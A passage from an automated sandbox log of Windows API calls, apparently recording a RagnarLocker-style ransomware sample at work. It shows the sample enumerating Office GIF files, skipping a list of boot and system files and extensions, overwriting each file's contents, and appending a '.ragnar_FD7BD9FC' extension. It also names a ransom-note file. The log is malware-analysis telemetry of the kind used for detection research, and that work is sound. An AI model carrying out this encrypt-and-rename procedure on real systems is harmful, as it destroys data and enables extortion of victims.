dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.092] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfd, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.092] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfd, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xfd, lpOverlapped=0x0) returned 1 [0099.092] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.092] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.092] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.092] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.092] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.092] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.092] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.092] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.092] GetProcessHeap () returned 0x580000 [0099.092] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.093] CloseHandle (hObject=0x10c) returned 1 [0099.093] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF" [0099.093] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF.ragnar_FD7BD9FC" [0099.093] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.093] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14868_.GIF", cAlternateFileName="")) returned 1 [0099.093] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.093] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14868_.GIF" | out: lpString1="BD14868_.GIF") returned="BD14868_.GIF" [0099.093] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF") returned=".GIF" [0099.093] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="autorun.inf") returned 1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="boot.ini") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="bootfont.bin") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="bootsect.bak") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="bootmgr") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="bootmgr.efi") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="desktop.ini") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="iconcache.db") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="ntldr") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="ntuser.dat") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="ntuser.ini") returned -1 [0099.094] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="thumbs.db") returned -1 [0099.094] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.094] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.094] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.094] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.094] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.094] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.094] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif")) returned 0x20 [0099.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.095] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=419) returned 1 [0099.095] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x19a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.095] GetProcessHeap () returned 0x580000 [0099.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.095] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.096] VirtualAlloc (lpAddress=0x0, dwSize=0x1a3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.096] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.096] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.096] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a3, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1a3, lpOverlapped=0x0) returned 1 [0099.096] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.096] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a3, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.096] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a3, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1a3, lpOverlapped=0x0) returned 1 [0099.096] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.096] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.096] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.096] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.097] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.097] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.097] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.097] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.097] GetProcessHeap () returned 0x580000 [0099.097] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.097] CloseHandle (hObject=0x10c) returned 1 [0099.097] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF" [0099.097] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF.ragnar_FD7BD9FC" [0099.097] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.098] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14869_.GIF", cAlternateFileName="")) returned 1 [0099.098] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.098] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14869_.GIF" | out: lpString1="BD14869_.GIF") returned="BD14869_.GIF" [0099.098] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF") returned=".GIF" [0099.098] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.098] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="autorun.inf") returned 1 [0099.098] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="boot.ini") returned -1 [0099.098] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="bootfont.bin") returned -1 [0099.098] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="bootsect.bak") returned -1 [0099.098] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="bootmgr") returned -1 [0099.098] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="bootmgr.efi") returned -1 [0099.099] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.100] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="desktop.ini") returned -1 [0099.100] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="iconcache.db") returned -1 [0099.100] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="ntldr") returned -1 [0099.100] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="ntuser.dat") returned -1 [0099.100] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.100] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="ntuser.ini") returned -1 [0099.100] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="thumbs.db") returned -1 [0099.100] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.100] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.100] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.100] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.100] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.100] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.100] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif")) returned 0x20 [0099.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.100] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=196) returned 1 [0099.101] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xbb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.101] GetProcessHeap () returned 0x580000 [0099.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.101] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.101] VirtualAlloc (lpAddress=0x0, dwSize=0xc4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.102] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.102] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.102] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc4, lpOverlapped=0x0) returned 1 [0099.102] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.102] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc4, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.102] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc4, lpOverlapped=0x0) returned 1 [0099.102] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.102] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.102] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.102] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.102] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.102] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.102] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.102] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.103] GetProcessHeap () returned 0x580000 [0099.103] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.103] CloseHandle (hObject=0x10c) returned 1 [0099.103] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF" [0099.103] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF.ragnar_FD7BD9FC" [0099.103] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.143] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f92f00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19f92f00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14870_.GIF", cAlternateFileName="")) returned 1 [0099.143] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.143] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14870_.GIF" | out: lpString1="BD14870_.GIF") returned="BD14870_.GIF" [0099.143] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF") returned=".GIF" [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="autorun.inf") returned 1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="boot.ini") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="bootfont.bin") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="bootsect.bak") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="bootmgr") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="bootmgr.efi") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="desktop.ini") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="iconcache.db") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="ntldr") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="ntuser.dat") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="ntuser.ini") returned -1 [0099.143] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="thumbs.db") returned -1 [0099.144] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.144] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.144] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.144] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.144] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.144] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.144] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif")) returned 0x20 [0099.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.146] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=420) returned 1 [0099.146] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x19b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.146] GetProcessHeap () returned 0x580000 [0099.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.146] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.147] VirtualAlloc (lpAddress=0x0, dwSize=0x1a4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.147] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.147] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.147] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1a4, lpOverlapped=0x0) returned 1 [0099.147] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.147] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.147] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, 